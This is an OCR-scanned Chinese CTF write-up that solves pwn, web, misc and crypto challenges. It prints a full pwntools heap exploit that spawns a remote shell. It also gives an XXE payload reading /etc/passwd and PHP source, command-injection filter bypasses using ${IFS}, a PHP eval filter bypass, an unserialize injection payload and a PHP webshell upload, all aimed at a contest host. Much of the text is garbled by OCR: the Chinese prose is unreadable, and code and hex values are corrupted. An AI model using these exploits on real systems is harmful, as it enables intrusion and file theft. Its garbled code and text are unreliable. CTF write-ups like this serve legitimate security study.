signature=a8a3e788013f73439051¢7287d7f5f0b,] K& =)@

5% P FF Writeup

k=3l o F 2021-05-29 15:43:40 K& A o 2314 ﬁ e

X EHE: signature=a8a3e788013173439051c7287d715f0b
JFf: Team233& KB
0X00 Pwn1
'_l.msigned __int64 malloc_()
2 [ ~
3| int v@; // STe4 4
4| char s; // [rsp+l8h] [rbp-118h]
5| unsigned __int64 v3; .-’." _";~'_:+;;" ] [r
6
7| v3 = _ readfsqword(@x28u);
3| memset(&s, B, @x1e8ulLl);
9 puts(“index:");
8| ve = read_8();
1| chunk_list[v@] = malloc(@xABuLL);
2| puts(“content:");
3| read(@, chunk_list[v2], @xA@uLL);
4| return __readfsqword(@x28u) ~ v3;
5}
BAEKREmRE, AHHBN
E} IDA View=A || PseudocodeB [ Fseudocode—A || O]  Hex View-t
ljunsigned  int64 run_()
2{
3| int v1; // [rsp+8h] -18h]
4| pthread_t newthread; ,4’," [rsp+18h] [rbp-18h]
5| unsigned __int64 v3; // [rsp+18h] [rbp-Bh]
7 W= readfsqwrd(exzﬁu),
8 puts[ index:");
9| vl = read_B();
10| if ( vi <@ || vi > 31 || !chunk_list[vi] )
11 exit(@);
12| pthread_create(&newthread, @LL, (void *(*)(void *))start_routine, chunk_list[vl
13| sleep(lu);
14| return _ readfsqword(@x28u) ~ v3;
15[}
sleepE L KBRS

ﬁ@ﬁg%:

D.

FERFHZLEFR S ERIsleep(3), runfaiExT MK HEfreetsiz J5, FICAMMEE bk . A Hbz 2 [F] B X175 2
HERlibc2.27, Fubuntu18.04H#ZEHMK, )51t EHFtcachekittFElibc, 2AJ5EErunkEikfdR
free_hook, #RJGHEmallocHik, % —kSfree_hooksystemithht, FdeleteE Hgetshell.

from pwn import *


https://blog.csdn.net/weixin_29064009
https://so.csdn.net/so/search/s.do?q=signature%253Da8a3e788013f73439051c7287d7f5f0b&t=blog&o=vip&s=&l=&f=&viparticle=

context(os="linux',arch="amd64',aslr = 'False',log_level='debug')
local =0

if local == 1:

p = process('./pwn1")

elf = ELF("./pwn1")

libc = elf.libc

#p = process(['/lib64/1d-linux-x86-64.s0.2', './pwn1', './libc.s0.6")
else:

p = remote("119.61.19.212",8087)
elf = ELF("./pwn1")

libc = ELF('./libc-2.27.s0")

def add(index, content):
#p.recvuntil('3.run\n")
p.sendline('1")
p.recvuntil('index:\n")
p.sendline(str(index))
p.recvuntil(‘content:\n")
p.sendline(content)

def delete(index):
p.recvuntil(3.run\n')
p.sendline('2')
p.recvuntil('index:\n')
p.sendline(str(index))

def run(index, key):
#p.recvuntil('3.run\n’)
p.sendline('3")
p.recvuntil('index:\n')
p.sendline(str(index))
p.recvuntil('input key:")
p.sendline(str(key))

sleep(1)



delete(str(index))

for i in xrange(8):

add(i,’A\n’)

for i in xrange(7):

delete(6-i)

run(7,0)

p.recvuntil('3.run\n")

leak = u64(p.recvn(6).ljust(8, \0"))
log.success('leak : ' + hex(leak))

libc_address = leak - 0x3ebcal

system = libc_address + libc.symbols['system]
free_hook = libc_address + libc.symbols[' _free _hook]
log.success('system : ' + hex(system))
log.success('free_hook : ' + hex(free_hook))
add(0,'’A*0x10)

add(1,’A*0x10)

run(0,0)

p.recvuntil(3.run\n’)

heap_addr = u64(p.recvn(6).ljust(8, \0')) - 0x160
log.success('heap_addr : ' + hex(heap_addr))
addr = heap_addr * free_hook

run(1,addr)

p.recvuntil(‘3.run\n’)

addr2 = u64(p.recvn(6).ljust(8, \0"))
log.success('heap_addr2 : ' + hex(addr2))
add(2,'/bin/sh\x00")

add(3,p64(system))

delete(2)

p.interactive()



ine(str(index))
intil('content:\n"')

. ] Switching to interactive mo
.ine(content) -

cat flag

] Sent 0x9 bytes:
‘te(index): 'cat fla
intil('3.run\n')

Ane('2')

0x26 bytes:
'flag{85B367076A1B7177FOF2945DA9DFE599}"

intil('index:\n"')

35B367076A1B7177FOF2945DA9DFES599} I

Ane(str{index))

index, key):

PWNRCTFSEHE P LR, FEHEHESFIET KL R 23476871 UL IR 1Z 38 5 ExploitF 4 S 8E /1 .

PWNI) 22 3] 7 25 R W 22 236 5 52 3] LI ——CTF-PWN R FITC &

0x01 Web

1. N AR T
BMXFF: 127.0.0.1, admin=1

Request

Raw | Params THeaders [He:e |

Response

Raw | Headers IHe:: Tﬁ'ender J

GET # HTTPA1.1
Host: 119.61.19.212:8084

Gecko/20100101 Firefox/56.0

Accept-Encoding: gzip, deflate
Cockie: admin=1
X-Forwarded-For: 127.0.0.1
Connection: close
Upgrade-|nsecure-Requests: 1

2. XX?

FRVEL, ULABHRRE, ZRERAXXERTE
>

&ampxxe;

mypass

User-Agent: Mozilla/5. 0 (Windows NT 10.0: WON&4: rv:56.0

Accept: text/html|_ application/xhtml+xml, application/xml q=0. 9, */%.q=0. 8
Accept-Language: zh-CN, zh:g=0. 8. en-US:0=0.5, en:q=0.3

HTTP/1.1 200 OK

Date: Tue, 10 Sep 2019 10:33:07 ¢
Server: Apache/2.4.18 (Ubuntu)
Set-Cookie: admin=0
Content-Length: 21

Connection: close

Content-Type: text/htm charset:

e

okflaglxxasdasdd_for)

POST /index, php HTTPS1 1

Host: 119.481.19. 212:8083

User-Agent: Mozilla/5. 0 (Windows NT 10.0: WOWA2: rv-546 0)
Gecka/ 20100101 Firefox/56.0

Accept: text/html, application/shtaltaml, application/xml .q=0.9, %/ .4=0.8

Accept—Language: zh—CN, zh;g=0.8.en-US . g=0. 5, en ;g=0.3
Accopt-Encoding: grip. deflate

Cookie: admin=0

X-Forwarded-Feor: 8. B. 8.8

Connection: close

Upgrade-Insecure-Requests: 1

Content-Typo: application/x-www—form—ur lancodod
Content-Length: 194

xml version="1.0" encoding="|50-885%-1"7>
<IDOCTYPE foo [ <1ELEMENT foo ANY
CIENTITY xxe SYSTEM “file:///ete/passwd” >]2
{oreds>

{userixxe;{/user?

Cpassrmypass{/pags>
eradsl]

e

HTTP 1.1 200 0K

Date: Tue. 10 Sep 2019 11:09:25 GMT
Server- Apache 2.4 18 (Ubuntu)

Yary: Aoccept-Emcoding

Content-Length: 1247

Connection: close

Content-Type: text/html: charset=UTF-8

CTF:<brrroet:x:0:0:root: /roat :/bin/bash
daemon:x:1:1 : daemon: fuer/ebin: fuer/ebin
bin:x:2:2:bin:/bin: verfebin/nologin
sys:x:3:3:eys:/dev:/usr/ebin/nologin
syne:x:4:65534  sync: bin: /bindsyne
guru-.:'x:b:bl)'sn-es:f‘usr;’gn-l-.ﬁ:fusrfsbin
man:x:6:12 man:/var/caches/man: fusr/sbin
Ip:x:7:7:1p:/var/epool/lpd: fuer/ebin/no
mail :x:8:8:mail: var/mail :Ausr/sbin/nol
news: x:9:9 news: /var/spoal /news : Sfusr/sb
vuep:x:10:10:vwep: fvar /spool fuvep - fusr/
proxy:x: 1313 proxy:/bin:/usr/sbin/nelo
wew=data:x:33:33 www=data /var wew:/uer
backup: x:34:34-backup : /var /backups : fuar
limt:x:38:38:Mailing Liat Monnger:/var/
ire:x:39:39: ired: fvar/runfired: fusr/sbi
gnats:x:41 .41 :Gnate Bug-Reportling Syste

(admin) : /var/1ib/gnate: fuer/ebin/nologi
nakndu - v - AREAA - ARERA - nahndu - Saanav il atan



Pyt flag.php
1>
&ampxxe;

mypass

ﬂPmms IHmfors ]HaxTM} E Headers THax TRonder ]

POST /index. php HTTP/11 & HTTR 1,1 200 OK

Host: 119 4119 212:B0B3 o Date: Tue, 10 Sep 2009 11:11:28 oMT

User=Agont: Nozilla/5. 0 (Nindows NT 10.0: WOW&4: rv.56.0) Server: Apacho/2. 4,18 (Ubuntu)

Gecko/20100101 Firefox/56.0 Content-Length: &0

Accept. text/html, application/zhtal<sml, spplication/wml| q=0. 9, */% gq=0.8 Connection: close

Accept-Language: zh—GH, zh:q=0. 8, en-U5:0=0. 5. en:a=0.3 Content-Type: text/html: charset=UTF-8
Accept-Encoding: gzip, deflate

Cookia: admin=0 CTF : <br >PD9waHAKL yFmbGF ne0 | VelWF 2 ZDEy W TMxM i MxM il

X-Forwarded-Far: 8.8.8 B
Connection: close
Upgrade=Insocure-Requosts: 1
Content=-Type: application/x-www-form-urlencoded

Content-Length: 233 l

“Fem| wversion="1.0" encoding="|50-BE5Y-1"7>
<IDOCTYPE foo [ <!ELEMENT foo AMY >
<VEMTITY xxe SYSTEM
“php . //filLer/read=convert. basebd-encodel resource=F | ag. php" 31>
<erods>
Cuserdxxe; {/user?
<paseraypass</paie>

Fhozomsn

<?php
fMlag{lUyasdB8213123123890}
7=

18T fEphp Db T CHI R R BGE FBT A, AT B S RN 2 Sk 5 2 5] LI ——PHP 22 245 2 Py sk
K PHPZ 2R Z Al (B R ZSEHR =)

3. Ping—F
fuzzz 5, FTLURIL#OEIE, wTLMER ;AR



200
Il 200
&8 200

b TR "N E R |

information_schema 200
21 concat 200
24 locate 200
37 show 200
48 group_concat 200

51 execute 200
B2 200
B5 %0d 200
66 %0a 200
72 200
B9 200
80 200
98 200
B3 400
61 ~ 200
B4 %al 200

vV oA pe

Joooooooooooooooooo

000000 oaoo

KIcat, phpiRnEs, FAGHIEIR .
%3Bc\at%24%7BIFS%7Din\dex.p\hp, {ERIEERIFAR7E4L:

IET Jindex. php?A=%3Bchath24N7BIFSSTDIn\dex. pihp HTTRA1 1 & <ha>
dost: 119, &1, 19 Z12:BDE1 i ouw Command: pir
Jeer—Agent: Mozilla/5.0 (NWindows NT 10.0: WONS4: rv.56. Q) rehat$ IFS) invdex. php <
3echo/20100101 Firefox/56 0 Cldivy
Lecept: text/himl, application/xhtml+xml, application/sml g=0.9, */%.5=0.8 Lbridbr>
\coept-Language: zh-CN, zh:g=0. 8, en-U3 q=0. 5, en:q=0. 3 div style="text-align: center:™>
\ceept-Encoding: gzip, deflate <hd>
Feferer: http: /7119 6119 21280817 ?php
Sookie: admin=0;
CSRF-TOKEN=eyJpd i 161 kaSThZvINZrV I wvd0B 1 0Vwy TIRSNHEwGTO? | iwidnF sdlli0iJOZ
adS01ZVSk 1 r YWVVRGY rOHRaZZRAKORSMz JeL1F | WaSSc2d0NkM2b2hte [¥nSEp LNGT i 2 1RmX $A = 5 GET['A']):
SRIUGN oLyt vREFKARVIRFREY jN1dmadZ ThaWERGHN 1 dHdz0% | iwibWF j| joi ZDRIOTN jYzVkE
DMIMGY xNGDTNWVHRMDY Y TFRNNZ iNmOnZTAZYTALY [AZMz | mM2VENDFROTZKMZ | dZ0.JnNzc1 2 f iflp <Ahd
e Cdivy
laravel_session=eydpdi 161 ) InSUnyMVRXLUN I TIBeL202a0UxUnt IPTOILCJ2YR1251 &
Imx i dUDITE 55Wk xWZ 1 | RUEV&RENZbmpzdzda TOpweGIAUNNDa | JEMmNThOReL 1Y xN jJXYD v
ATd jRIVEANHIZ dUw 1 REWBe XV ddkprnUE 1 10E1NLEUMYNREUTOR | imi bWF 1 joiM=bledTEOODdm LAl
Az 10TH i NT JmmiY INTZ | NDOSOTNWZ jJ jMmilyNT g0 ZDgzNGUAZD.) | NmZGOZNnRaZANz YuF j Csaript
LiJw sre="/Sednjs. loli. net/ajax/ | ibe/mdui /0. 4.1
(-Forwarded-For: 8.8.8. 8 iseript sre="https://code. jguery. comjquer
Jonnection: close < -- BIEEH SR EREE -
Jpgrade-Insecurc—Requests: 1 4soript sre="/static/ js /bootstrap. min. js"»
</ bady>
</heml >
. . S—
fit M tail iy < S BUR G — 1T
%3Bta\il%24%7BIFS%7D-1%24%7BIFS%7D/fl\ag
GET /index. php?A=%3Bta’ i |%245TEIFSNTO-1524NTBIFSATDS/ €1 ag HTTP/1. 1 i
Host: 119, 61.19. 212:8081 » <button clase="mdui-btn mdui-btn- @ -
User-Agent: Nozilla/5.0 (Windews HT 10.0: WON&A: rv:546.0) mdui-colar-these-accent mdui-float-right
Gecho/20100101 Firefox/54 0 adui-ripple"><hdxPing! {/hd></button?
Accept: text/himl, application/xhtml+xml, application/uml ; g=0. %, */%#.g=0.8 <Adive
Accept-Language: th-CH, zh:q=0. 8, en-US5.5=0. 5, on:q=0. 3 </ farm>
fecept-Encoding: gzip, deflate <br > br
Referar: http: /119 41 19 212:8081/ <div atyle="text-align: centaer: >
Conkie: admin=0. <ha
KERF-TOKEM=ey.Jpdi | 61 keSYRIvINI rY | wed 0B 10Vwe T IRSNHLwOTOR | iw i deF odNU i 06 JDZ You Command: ping -o 4
mdS012VEK 1 r YVWVBEY rOHRaZ zRNKOhSMz JoL 1F IWn5S502d0WaM2b2ht o jWnSEptMGT i a1 Rml ah i 1S TIFSI =15 1IFS) /£ 1\ag <Ihd>
CHIUEVeL ytwREFLAHVIBFWKY jH1dmedZ ThrWEhANTdHd 209 1 iwibWF §1 joi ZDRIOTN jY2¥KI <fdivi
DMIMG Y xMGOINIVENDY j ¥ TFRNNZ i NeOmZ TAZY TALY jAZMz | nM2VENOFROTZRKMZ | 12GJmNze 12 [ <br><br}
i <div style="text-align: center ™
laravel_session=ayJpdi 18] j InSUsyMVRIBUNIT I BaL202a0UxUnt IFTOILCJZVN1ZS16 <ha>
T i UGS TE5WhxNZ 1 IRUEVENK Y ZbmpzdzdaT0pwoGZAUVRGD | JFMmNTbORoL 1 YaN jJXYO 1w Flag L1111 _U_BeT_Th3_fl4g)
NTd jRIVINHh I dUn | REWBe XVAdkpnUE | 10E INBEUSVWRLUTOR | i wi bWF j 1 jo i MmMwMTEODDdm <Ay
Mzk 1 0TEiNTJmNmYIMTZ INDOSOTHWE jJ jNmlyNT g0Z0g zNGUL 0. | NDdmEZGAZNmRmEWM: YimF <rdivy
2iJ9




4. PHP
error_reporting(E_ALL*E_NOTICE*E_WARNING);
function GetYourFlag(){

echo file_get_contents("./flag.php");

}

if(isset($_GET['code)){

$code = $_GET['codel];

Ilprint(strlen($code));

if(strlen($code)>27 4

die("Too Long.");

}
if(preg_match(/[a-zA-Z0-9_&"<>"\1+/"$_GET['code)) {
die("Not Allowed.");

}

@eval($_GET['code');

else{

highlight_file(__FILE_ );

}

?7>

FKABUREIT R, REUrZEi

def get(shell):

hexbit=".join(map(lambda x: hex(~(-(256-ord(x)))),shell))
print(hexbit)

get('GetYourFlag')
Oxb80x9a0x8b0xa60x900x8a0x8d0xb90x930x9e0x98
Ox#e A%



Fa -

g Load URL |view-sourcehtipy//119.61.19.212:8082/indexphp2code=(~%b8%9a% 8b% a6%90%82%8d %60 3%93% 9% 98]
| SplitURL

Execute

[]Enable Post data [ ] Enable Referrer

<Pphp
gi:z ag="flag {3904c5df2e894cal2a21004feb216617} "
5. API
INT ¥ = @ SQL- XSS- Encryption- Encoding- Other-
@ Lload URL |http://119.61.19.212:8086/api -
% splitURL

’ Execute

[JEnable Post data [ ] Enable Referrer

Post filename’,and u give this api array,u can read f

FERANIpostHidE £ %, RKEpost— T
& Load URL http://119.61.19.212:8086/ap
$  splitURL

’ Execute

Enable Post data [ ] Enal

Post data filename=aaaa

sorryjson decode error!

KIjson_decode, FATAE Ki%jsonts it =



= — i

POST Japi/ HTTP/11

Host: 119.41.1%. 2128084

User-Agent: Mozilla/5. 0 (Windows NT 10.0: WON&L: rv:56, 0)

Gecko/ 20100101 Firefox/56.0

Acgept: text/himl, application/xhtmléxml, application/xml:g=0. 9 */*.g=0. B
Acoopt-Language: zh=-CN, zh:q=0. 8. on-U5:q20. 5, an:q=0. 3

Accept-Encoding. gzip, deflate

Content-Type: application/u-wew-fora-ur lencoded

Content-Length: 19

Cookie: admin=0;

XSAF-TOKEN=ay.Jod i |41 nBrdl ZK2p0dWt o YUVL | Y2bOhReEEIPS 15 InZhbHV 1 1 joi ZDYy0
UgSa¥wy¥¥pnalZ | HURchF 1 o¥k¥Hb | Zwa ZRpMnJENE VSVROVRT | r BeZMbF pydkR jd I dENGN i c
nIRVUESbaVCMFaYTFFan)sT jB4U 1 pZWOZhSUHEPTO i LCJe YN i 06 | 22 Nal 2 | aNa | 100JsY
zewY jF jWGFmNzMSYNUWNZEZZTd | 2ol OF zEwMWVEM2ZExODJ I Y2 A3ME |y Z jA TN i NTVR I nD%3
(1]
laravel_session=eyJpdi 6] jFaTTFHN jEzTUJcLzZ i SGJ 1 aENJSHINPTOILCIZYM 12516
| kpWbenk 3Un Mani XS Xd6UUA 2RI ENTEUZZNDY T 100 TVERF p&MikxEch | zDEh | cNRMRE 1cL 28D
Snl XOVASMURHNU| z UGt NMap | ME4 1VVJ 1 cEplleFFKMaRadz0F 1 imi bWF j 1 joi0TkeMROSZTR
MW i M O Y ZUSYaMANZF R INR M) g 2MOY 3Nz | SHDY s NDybl | YD TRaMZUZNN0x0TBRNMubz | £

L

X-Forwarded-For: B.8.8. 8
Connection: close
Upgrade-Insecure-Requests: 1

filename=|["file" " index. php"]

R T YRR
if(isset($_POST['filename')){
$file=json_decode($_POST[filename, true);
if(json_last_error()){
die("sorry,json_decode error!");
else{
if(array_key_exists("file", $file)){
if(stristr($file['file],'f)){
die('sorry!");

elsef{

echo file_get_contents($file['file');
}

lelsef{

die('sorry,u cannot readfile");

}

}

else{

echo "Post “filename’,and u give this api array,u can read file";

}

>

H#EZ, RUGFERESME, %E.DS_Store

Connsction: alose
Content-Type: text /himl. charset=UTF-8

Clphe
iflisset(§_POST[ Filename 1)) |
$fil0= joon_decoda (§_POST( filenoma’], true):
if(json_last_error O]
dia{"sarry. jnon_decods arror!”):
lelsel
iflarray_key_exizts("File" $File)) |
iflatrigtr ($Filal ' File']. "¢ 101
diel sorry!");
lelsal
echo file_get_contents($file[ file']].
I
lelsel
die(’ serry, u cannot readfile’)
}
I

lelsed

acha "Post "filenome  and u give this api array. v car
I
kS



O .DS _Store

L] api

=2 fffffaa_not.php
& hack.php

w index.php

ZIR R BA bSO
ERXRERTRA, —HBAE, BBIBEE HRIER

—

20
20
20
20
20

POST Japi/ HTTP/1.1

Host: 119.61.19. 2128088

User-Agent: Mozilla/5.0 (Windows NT 10.0:. WORS4: rv:56.0)

Gecke/ 20100101 Firefox/56.0

Accept: text/html, applicotion/xhtmi+xml. application/xml:q=0 %, */%:g=0 8
Accept-Language: zh—CN, zh.q=0. 8, en-US5.g0=0. 5, en.g=0. 3

hoospt-Encoding: grip., deflate

Content-Type: application/x-wew-form-urlencoded

Gontent-Length: 32

Cookio: admin=0:

XSRF-TOKEN=eyJpdi | &1 nBalN | ZK2p0dNtoYUVub j YzbOhReEEFPS 1 e InZhbHV | | joiZDYyD
UgSaVwu¥WpnalZ INURcbl 1 oYk Hb jZma ZRpMnJENE 1SVEOIRT | rWhZMbF pydkR jd | dANEN i c
nZRYUgSbaYCMKFaVTFFasdsT jBEUIp2WDZHSUNBPTO§ LCJEYWM Qi zY zMaMz Imbs | 1 00 JmY
zowY JF JBGFmNzMSYWURNZEZZTd | Zm 1 0¥z EwNNYkMzExDDJ I ¥ zA3Mz | yvZ JATMmJ i NTVE In0%3
D:

laravel_session=ayJpdild) JFeTTFHN JE2TUJcL2Z i SGJ 1 aENJSHIPTOILCJ2YW 12816
I kpAbmk 3UmManMXSEdOUUA2 NI tNTEUZ 2NDYT I QLTVERF p&Mik xEck | zDEL | eNRMRE L 2D
SmiXQVdSMUSHNU | zUGtNi=g JMEL 1 W I cEpllcFFENRRsd 209 | 1mi bWNF j 1 jo i OTkwMWOSZTR )
NN i M NOY2USYmMANZFRINR i M jg 26T 3Nz | SNDV i HDgyM j YwOTRmM ZUZWR0«DTBLNzMaNz 14

LI

X-Forwarded-For: B.8.8.8
Connection: close
Upgrade-Insecure-Requests: 1

filename={"file":". . /index. php"]

require_once('hack.php');

echo "Apilwow";

function do_unserialize($value){
preg_match(/[oc]:\d+:/i', $value, $matches);
if (count($matches)) {return false;}

return unserialize($value);

}

$x = new hack();

ifisset($_GET['flag")) $g = $_GET['flag;
if ('empty($g)) {

$x = do_unserialize($g);

}

echo $x->readfile();

7>

4k 4Lizhack.php

e

L

HTTRP/1.1 200 OK

Date: Mon, O0F Sep 2019 09:52:51 GMT
Server: Apache/2. 4 18 (Ubuntu)

Vary: hecept-Encoding

Content-Length: 342

Connection: close

Content=Type: text/html; charset=UTF-8

<?php
require_once (" hack. php"} :
echo “Apilwow";
function do_unserialize($value) |
preg_match (" /loc]:\d+:/i", $value
if (count ($motches)) [return false
return unserialize($valuel
}
$x = new hack() ;
iflisset ($_CETI flag'])) $g = $_GEV['flag']:
if (lompty(§e)) |
$x = do_unzerialize($g):
i
echo $x->raadfile():
ked



class hack {

public $file;

function __construct($filename =") {

$this -> file = $filename;

}

function readfile() {

if (lempty($this->file) && stripos($this->file,'..")===FALSE

&& stripos($this->file,'/'y===FALSE && stripos($this->file,\\')==FALSE) {
return @file_get_contents($this->file);

}

}

}

/[fffffaa_not.php

?>

B WG B HI4L Sk i B fffffaa_not.php, 8% 1EM, @i+, 53]

O:4:"hack":1:{s:4:"file";s:15:"fffffaa_not.php";}, urldecode)5%5
F):0%3A%2b4%3A%22hack%22%3A1%3A%7Bs%3A4%3A%22file%22%3Bs%3A15%3A%22fffffaa_not.php¥%

< | [T | 3
BB IR

$text = $_GET[jhh08881111jn’;
$filename = $_GET(['file_na;
if(preg_match([<>7?], $text)) {
die(‘error!");

}

if(is_numeric($filename)){
$path="/var/www/html/uploads/".$filename.".php";
lelse{

die(‘error");

}

file_put_contents($path, $text);

>

AT IEN, 5A—"shell:



@ LloadURL | httpi//119.61.19.212:8086/uploads/1.php
% SplitURL
?) Execute
Enable Post data [ _] Enable Referrer
Post data star=phpinfo();

lagiQiahhh1 jiu123}

0x02 Misc

1. BRI IR

base58, £%:

WRIEEE R, MEHRHRT, RHRBFRBEFLN, BERA.

# __ **chars = '"123456789ABCDEFGHJKLMNPQRSTUVWXY Zabcdefghijkmnopgrstuvwxyz
__***chars = '"ABCDEFGHJKLMNPQRSTUVWXY Zabcdefghijkmnopgrstuvwxyz123456789'
__*base = len(__***chars)

def ***encode(v):

encode v, which is a string of bytes, to base58.
long_value = int(v.encode("hex_codec"), 16)
result ="

while long_value >= __ ***base:

div, mod = divmod(long_value, _ ***base)

result= ***

chars[mod] + result

long_value = div



result = __ ***chars[long_value] + result
# Bitcoin does a little leading-zero-compression:

# leading O-bytes in the input become leading-1s

nPad =0
forcinv:
if c=="0"
nPad += 1
else:
break

return (__***chars[0] * nPad) + result

def ***decode(v):

""" decode v into a string of len bytes
long_value = OL

for (i, c) in enumerate(v[::-1]):

long_value += __ ***chars.find(c) * (__***base ** i)
result ="

while long_value >= 256:

div, mod = divmod(long_value, 256)

result = chr(mod) + result

long_value = div

result = chr(long_value) + result

nPad =0

forcinv:

if c==__***chars|0]:

nPad += 1

else:

break

result = chr(0) * nPad + result

return result

if _name__=="__main



# print ***encode("hello world")
print ***decode("RJvImjS1bMOMZafGV77uTyDaapNLSk6t358j2Mdf1pbCByjEiVpX")

long_value >
div, mod =
result =
valu

flag{adb88f7b70a20983833a7615fb103e01}

Process finished with exit code €

2. & E
XIE B R R RS — AT T -
% Fmagic header’E 4k :
magic OxFEEDFACE2321ii, OxFEEDFACFE641il
cputype
BECPURIF S S5RAE, (ARM-V7)
cpusubtype
filetype XHER (ITXH. FEXF. Core. NI R
ncmds
Load Commandsfy MK E
sizeofncmds
flags dyldINFKES B REIREAL
| Reserved  RAGAIMNIMET FENTER, BHRA

B 562 Mstrings jpg EEF] T __mh_execute_header. /ust/lib/libSystem.B.dylibiX £ &R mac h off) i $AT 301
KR, REMREBEEHL, BFF: Oxfeedface i Oxfeedfact', 435I K/ Rk T dtidaE EE,
SR JE A2 Oxcffaedfe & X, ST a] BAJE 7 0x07000001 & R FIE K

BERERRERT, #HFBTIRAT T



= N T ST - —_y o ———— e =y Ty wWan T  ® - L=y

[ int64 start()
{
char v1; // [rsp+10h] [rbp—-30h]

if ( vl == 48 )
sub_100000E40 (&v1l);

1

2

3

4

5 strcpy(&vl, "938gcel 872db99db b342d23c0g9g2d");
6

7

8 return OLL;

9

}

IDAView-A £ Pseudocode-A EJ [©  Hex View-1 %)

l1int _ fastcall sub_100000E40 (const char *al)
int i; // [rsp+l14h] [rbp—-Ch]
Eor { 4 = 0; 1 = stxlaninl);: +H )

al[i] *= 1u;
return printf ("flag#:%s\n", al);

e ww
O Joyvndbs LN
e

}

3. MRS
SERXRLE, WL
XF E AT 4T, REBUE — A zipf:
8 Decode message: Di/CTF/CTFELER/201 9/E3ERIF/Misc/BHRTRES/m...

Media's encoding format :

~ Options
Sound quality: 93.?5%]norma| j
Used channels: |2 channels
Date distribution mode |equidistribution
Header position: |endina
bit(s) per sample per channel:[3~ = - —
Decoded file

txt.zip



pcovery tool

1654321
EfE | 2968776

flzAdig):

4 J

HENE, RAFL01287, ZRA3#HIHEAL, KIUKT128, HBH, ZiNEFSRCKER, FRESFMHN
BO127F/F %7, 8P| Tshort Ook, RAF.! 7, kB, ELMWI:

ZRNE—Tflag’, /2, RIAKZHEONR(), #MAO, ! M2, BHZRHA—T

.................... IRl Whcumm & son ionn meves 0 smeenen
.9 .9 I
.......... bs B v e 18HL: RUDEL LR L911 11Ly
.......... L%

FiR0=>. 1=>7 2=>1, RIUFEHE R

RJEREI0=>.1=>1 2=>?



-+ [0 e ] D e (G - -
o= . {H+ [0+
+(]>+ + (++ +[-D- —=]> —-=. {+ ++[-> +++] D>++. { +++[-
G DA S

+H+[- D ——=(] > . {(+++ [+ H H] D+
+++++ FH++H+ | -
———=, <+t [ D ————— ] - ————= = -
+++++ HH++H[ —D+HH+
+H+++ D+ + (H+ H[-D- —=(]D> ——. + - HH] D>
————— (> -

==, {+ +H+++ =D 4 ] D e b, (]
Text to Ook! || Text to short Ook! Ook! to Text

brainfuckf# % 3 2lflag:

lalala, wo shi mai bao de xiao hang
jia. f1lag{08277716193edabc592192966e9d6£39} ni neng

dao ta me?

F& 5 (Stegano) 5 BUE 4> # (Forensics) & CTF R FEF M EBHA Y —, FEELEESRRFHNSMHEE TR, B
SHEBUEBGEATTRENABEE, HRXNEITEERMLLR =% —CTF-STEGOZ X if#2:CTF-
STEGO% (A RM & LK =)

0x04 Crypto
1. REFHIEIZ

KELTCBCHINEHER, BAVMIER SIS, B, BATATLCR S —REL, 55 RE SO R SCR BT 2]
key, #RJ5H keyMBEHLE ST LA K BT — B Ui R B8 B iz IS, T

def xor(data,key):

return bytes([x * key[i%len(key)] for i, x in enumerate(data)])
with open('flag.txt.encrypted’, 'rb") as f:

s=f.read()

BLOCK_SIZE=8

s1="have a good time".encode()

c1=s[:8]



c2=s[8:16]

c3=s[16:24]

print(c1)
key=xor(xor(c1,s1[8:]),c2)
print(key)
m1=xor(xor(c2,key),c3)
sssssss=""

print(len(s))

for i in range(8,len(s)-8,8):
m1=xor(xor(s[i:i+8],key),s[i+8:i+16])
sssssss=sssssss+m1.decode('utf-8')
print(sssssss)

2. B S R

A E—FBREL, FFERUTCBCIMEMR N, ERMNMENRE RN, HTHERFAEHET, BAITEHEMN
—BHX R, ZRBIERANKIIETE N4, FHEkey, BT

def xor(data,key):

return bytes([x * key[i%len(key)] for i, x in enumerate(data)])
with open(‘flag.txt.encrypted, 'rb') as f:

s=f.read()

BLOCK_SIZE=8

s1="keep away from xiaocui!".encode()

c1=s[-16:-8]

c2=s[-24:-16]

c3=s[-32:-24]

key=(]

for i in range(8):

m1=s1[i+8:i+16]

key.append((xor(xor(c1,m1),c2)))

foriin key:

print(xor(xor(c2,i),c3))

RAEIHFE N key, R _E— B 77 I 3ATED AT 4% H B 32



def xor(data,key):

return bytes([x * key[i%len(key)] for i, x in enumerate(data)])
with open('flag.txt.encrypted’, 'rb") as f:
s=f.read()

BLOCK_SIZE=8

s1="keep away from xiaocui!".encode()
c1=s[-16:-8]

c2=s[-24:-16]

m1=s1[4+8:4+16]
key=(xor(xor(c1,m1),c2))

c3=s[-32:-24]

mm~=xor(xor(c2,key),c3)

print(mm)

i=-16

while i>-200:

c2=s[i-8:i]

c3=s]i-16:i-8]

mm=xor(xor(c2,key),c3)

print(mm)

i=i-8

3. RSA

X8 N %A RSARMVATK S, javars o] EH B R BRI

EAAEIHIwp. HE ERATH, XJANEFA—H, SFHHEhttps://www.40huo.cn/blog/rsa-private-key-
recovery-and-oaep.html= f1{ES, K@ HHRHIREN, ERIMNKIEE FRIngBA%E, HT(a*2+b)*
(c*2'mtd)=a*c*2’m*2M+a*d*2n+c*b* 2 mtb*d, FrbAnHI4E B Ap* g4 R b7", b7, REEWT

#!/usr/bin/python

#-*- coding:utf-8 -*-

import re

import pickle

from itertools import product
from libnum import invmod, gcd

def solve_linear(a, b, mod):



fa&1==0o0rb&1==0:

return None

return (b * invmod(a, mod)) & (mod - 1) # hack for mod = power of 2
def to_n(s):

s = re.sub(r'"["0-9a-f]", ", s)

return int(s, 16)

def msk(s):

cleaned = " join(map(lambda x: X{-2:], s.split(":")))
return msk_ranges(cleaned), msk_mask(cleaned), msk_val(cleaned)
def msk_ranges(s):

return [range(16) if c =="" else [int(c, 16)] for c in s]

def msk_mask(s):

return int("™".join("0" if c =="" else "f" for cin s), 16)

def msk_val(s):

return int("".join("0" if c ==""else c for c in s), 16)
E = 65537

N =to_n(""00:c4:9d:36:a4:77:76:12:12:85:24:6¢:74:1d:7d:
b3:ce:f4:c3:a4:69:cd:0b:2e:8f.d6:75:€3:80:b8:
e8:1c:ce:e8:60:90:45:56:73:ab:32:32:00:7f:6a:
76:3e:b6:10:d3:a2:74:da:f9:4e:a5:7e:ae:ef:f4:
da:82:57:6d:68:82:50:d8:b1:fc:92:b1:5¢:7d:54:
5:7e:d0:06:8a:60:ff:82:70:72:20:68:4b:71:ba:
87:44:57:¢1:97:a0:8a:2d:53:93:f3:0a:60:87:a3:
85:¢8:45:€6:0a:88:85:b5:ff:c7:09:9a:76:03:fe:
99:b6:fb:8a:1e:9f:a8:42:3a:0a:¢9:a9:bf:1c:87:
